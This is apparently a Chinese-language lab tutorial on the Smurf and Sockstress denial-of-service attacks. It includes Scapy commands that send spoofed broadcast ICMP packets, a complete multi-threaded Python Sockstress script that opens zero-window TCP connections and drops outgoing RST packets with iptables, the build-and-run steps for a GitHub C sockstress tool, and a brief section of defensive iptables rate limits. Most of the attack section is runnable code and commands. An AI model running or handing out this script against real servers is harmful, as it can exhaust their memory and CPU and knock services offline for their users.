目录
- Smurf介绍
- Smurf测试
- Sockstress
3.1 Sockstress 原理介绍
3.2 Sockstress攻击脚本
3.3 Sockstress测试DoS攻击
3.4 github上专用sockstress测试- 防御措施
1、Smurf介绍
- 世界上最古老的DDoS攻击技术
- 向广播地址发送伪造源地址的ICMP echo Request(ping)
- LAN所有计算机向伪造源地址返回响应包(只能发生在局域网范围内)
- 对现代操作系统几乎无效(不响应目标为广播的ping),对广播的ping包不做回应
2、Smurf测试
>>> i=IP()
>>> i.src="192.168.50.183"
>>> i.dst="192.168.50.255"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 192.168.50.183
dst= 192.168.50.255
\options\
>>> p=ICMP()
>>> p.display()
###[ ICMP ]###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0
然后在192.168.50.183这台靶机上,开启抓包tcpdump -i eth0
,观察当发送数据包时,靶机上是否可以伪造靶机的源地址后,局域网内的主机能否回应给靶机:
>>> send(i/p)
通过观测,还没有发现有reply的响应包。
3、Sockstress
3.1 Sockstress 原理介绍
2008年由Jack C.Louis发现
-
针对TCP服务的拒绝服务攻击
- 消耗被攻击目标系统资源,但不会产生大量的流量带宽资源
- 与攻击目标建立大量socket连接
- 完成三次握手,最后的ACK包window(窗口)大小为0(客户端不接收数据)
- 攻击者资源消耗小(CPU、内存、带宽)
- 一步攻击,单机可拒绝服务高配资源服务器
- Windows窗口实现的TCP流控
- 一种不对称的资源消耗
此攻击方式为在已经建立tcp连接的情况下,即在syn、syn+ack、ack(在此阶段发送中携带窗口为0)建立完成后,服务器会一直等待客户端的发送,因为客户端会一直与服务器保持连接,但不发送数据而且不用维持此连接,服务器一直等待而不断开,消耗内存和cpu资源。与syn flood的半连接不同。
3.2 Sockstress攻击脚本
#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "用法: ./sock_stress.py [目标IP] [端口] [线程数]"
print "举例: ./sock_stress.py 10.0.0.5 21 20 ## 请确定被攻击端口处于开放状态"
sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])
## 攻击函数
def sockstress(target,dstport):
while 0 == 0:
try:
x = random.randint(0,65535) //生成随机源端口
response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags ='S'),timeout=1,verbose=0) //发包,发送带有syn
send(IP(dst=target)/ TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0) //接收到syn+ack后,发送ack包,此window为0
except:
pass
## 停止攻击函数
def shutdown(signal, frame):
print '正在恢复 iptables 规则'
os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
sys.exit()
## 添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT, shutdown) //发出终止指令时,将iptables规则撤销
## 多线程攻击
print "\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
thread.start_new_thread(sockstress, (target,dstport))
## 永远执行
while 0 == 0:
sleep(1)
3.3 Sockstress测试DoS攻击
前提条件:kali和靶机由于在同一网段内,可能会带来影响,因此将kali的虚拟机网卡设置为NAT模式,这样相当于从不同网段经过路由发送流量
-
配置网卡为dhcp
-
设置虚拟机为NAT模式
-
攻击效果查看
在还没有发起攻击时,通过top查看靶机192.168.50.183上的内存及cpu等使用率如下:
此时开始发起攻击:
发现靶机上cpu和内存直线下降,并且系统开始kill进程
使用netstat -an | grep ESTABLISHED | wc -l
查看,发现有大量的连接
使用free -m
查看
3.4、github上专用sockstress测试
在github上,使用c语言编写的sockstress,可以完成上述同样的效果,但是在执行前,需要添加iptables策略,过滤rst包
-
https://github.com/defuse/sockstress
下载sockstress - gcc -Wall -c sockstress.c
- gcc -pthread -o sockstress sockstress.o
- ./sockstress 192.168.50.183:80 eth0 -p payloads/http
-
./sockstress 192.168.50.183:21 eth0
此种方法在攻击终止后,靶机的恢复速度非常慢,不像上节中终止后,靶机即刻就恢复。
4、防御措施
- 直到今天sockstress攻击仍然是一种很有效的DoS攻击方式
- 由于建立完整的TCP三次握手,因此使用syn cookie防御无效
- 根本的防御方法是采用白名单(不实际)
- 折中对策:限制单位时间内每IP建的TCP连接数(仅限于单个IP情况下,但对于大量IP依旧无效)
- 封杀每30秒与80端口建立连接超过10个的IP地址
- iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
- iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update -seconds 30 --hitcount 10 -j DROP
- 以上规则对DDoS攻击无效